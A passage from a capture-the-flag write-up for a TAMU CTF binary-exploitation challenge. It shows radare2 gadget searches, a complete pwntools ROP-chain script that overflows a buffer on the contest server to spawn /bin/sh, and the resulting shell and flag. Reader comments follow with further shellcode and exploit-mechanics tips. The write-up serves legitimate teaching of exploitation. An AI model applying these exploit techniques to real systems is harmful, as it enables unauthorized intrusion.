section as we can verify by viewing the addresses:
[0x08048756]> iS~.bss idx=17 vaddr=0x080eff6c paddr=0x000a6f6c sz=24 vsz=24 perm=--rw- name=.tbss idx=25 vaddr=0x080f0f80 paddr=0x000a7f80 sz=3884 vsz=3884 perm=--rw- name=.bss
This means that we can enter "/bin/sh"
as the first name and this string will be stored at the fixed address 0x080f1a20
.
At next we have to find the appropriate instruction snippets (ROP-gadgets) to make the syscall to execve
. This can be done using r2
:
[0x08048756]> "/R/ pop ecx;ret" ... 0x080e4325 59 pop ecx 0x080e4326 c3 ret ... [0x08048756]> "/R/ pop edx;ret" ... 0x080ea949 5a pop edx 0x080ea94a c3 ret ... [0x08048756]> "/R/ xor eax, eax;ret" ... 0x080be483 31c0 xor eax, eax 0x080be485 5b pop ebx 0x080be486 c3 ret ... [0x08048756]> "/R/ mov al, 0xa;ret" ... 0x080e80d5 b00a mov al, 0xa 0x080e80d7 c3 ret ... [0x08048756]> "/R/ inc eax;ret" ... 0x0807ebcf 40 inc eax 0x0807ebd0 c3 ret ... [0x08048756]> "/R/ int 0x80" ... 0x08073990 cd80 int 0x80 ...
If certain gadgets are not available you have to be creative and find other ways to perform the required operation. For example I did not find a gadget which will store 0xb
in eax
(the syscall number for execve
). Instead I found a gadget, which stores 0xa
in eax
and another gadget which increments eax
by one.
When we found all required gadgets we can finally write a python-script which stores the string "/bin/sh"
, overwrites the return address and sets up the ROP-chain:
root@kali:~/Downloads/pwn_tamu# cat pwn5.py from pwn import * p = remote("pwn.ctf.tamu.edu", 4325) p.sendline("/bin/sh") # obj.first_name stored at 0x080f1a20 p.sendline("llll") p.sendline("mmmm") p.sendline("y") p.sendline("2") expl = "A"*32 expl += p32(0x080e4325) # pop ecx; ret expl += p32(0x00000000) expl += p32(0x080ea949) # pop edx; ret expl += p32(0x00000000) expl += p32(0x080be483) # xor eax, eax; pop ebx; ret expl += p32(0x080f1a20) # --> obj.first_name expl += p32(0x080e80d5) # mov al, 0xa; ret expl += p32(0x0807ebcf) # inc eax; ret expl += p32(0x08073990) # int 0x80 p.sendline(expl) p.interactive()
The return address is overwritten with the address of our first gadget. All other gadget addresses will be popped off the stack and loaded into eip
by the ret
instruction at the end of each previous gadget.
Running the script spawns our shell:
root@kali:~/Downloads/pwn_tamu# python pwn5.py [+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done [*] Switching to interactive mode $ whoami pwnuser $ ls -al total 748 drwxr-xr-x 2 pwnflag pwnflag 4096 Feb 17 00:24 . drwxr-xr-x 45 root root 4096 Feb 17 00:24 .. -r--r--r-- 1 pwnflag pwnflag 25 Feb 16 22:13 flag.txt -rwsr-xr-x 1 pwnflag pwnflag 750400 Feb 16 22:13 pwn5 $ cat flag.txt gigem{r37urn_0f_7h3_pwn}
Done 🙂 The flag is gigem{r37urn_0f_7h3_pwn}
.
Congratulations on solving those challenges. It’s always interesting to see how others did it. Your pwn5 solution is way shorter than mine! Two cents to add tho for general your general workflow:
* pwn:3 You don’t need a nop-sled in pwn3 as you get the exact address to jump to.
* pwn3: pwntools shellcraft can build shellcode for you with `shellcode = asm(shellcraft.i386.linux.sh())` and you’re done.
* pwn5, if you see “gets” in your `afl` (i.e. using `afl ~ gets`) it might save some time using `axt sym.gets` which will point you to change_major() directly.
* Take a look at radare2s ragg2 tool. It’ll create those cyclic patterns for you! `ragg2 -P -r` and Query offset with `ragg2 -q `. You can directly write/read and convert from radare2 using `wopD` and `wopO` commands too. (check wop?) for more info.
hi ysf,
thanks for your comment! I totally agree with you and keep your annotations in mind for the next challenge 🙂
greetings,
scryh
Hi. Could you explain why you added “JUNK” in pwn4 exploit?
Compare it to mine: https://ctftime.org/writeup/8958
It works somehow. Why is there a significant difference?
hi kerouac,
here is the reason why both versions are working:
Your are overwriting the return address with
0x8048599
(ls_addr
). As you pointed out in your writeup a call tosystem
is stored at this address:When reaching the
ret
instruction at the end of the overflowed function (reduced_shell
) the stack looks this after sending your exploit:The
ret
instruction now pops off the top item on the stack and proceeds the execution there:The
call
instruction pushes the address of the next instruction after the call on the stack in order to proceed the execution there after the call (return address) and sets theEIP
to the called function's address:This return address is the address of the instruction following the call within the function
ls
:0x804859e add esp,0x10
.As you used an address on which the function
system
is called, you do not have to add the 4 additional junk-bytes. These are added by thecall
instruction (of course no junk-bytes but an actual return address).In my solution I overwrote the return address with the actual address of
system
0x8048430
(within the plt). This means that there is nocall
instruction which pushes a return address on the stack. The execution directly proceeds within the functionsystem
. That is why I need to add the return address on my own (4 junk-bytes). When the functionsystem
is entered the stack looks like this:The only difference is that after we close the shell and the function
system
is quit, the execution in your solution will proceed at0x804859e
while in my solution it will procced atJUNK
(and probably causes a segmentation fault).It is a good pratice to use the address of the function
exit
as the return address in order to gracefully quit the program.greetings,
scryh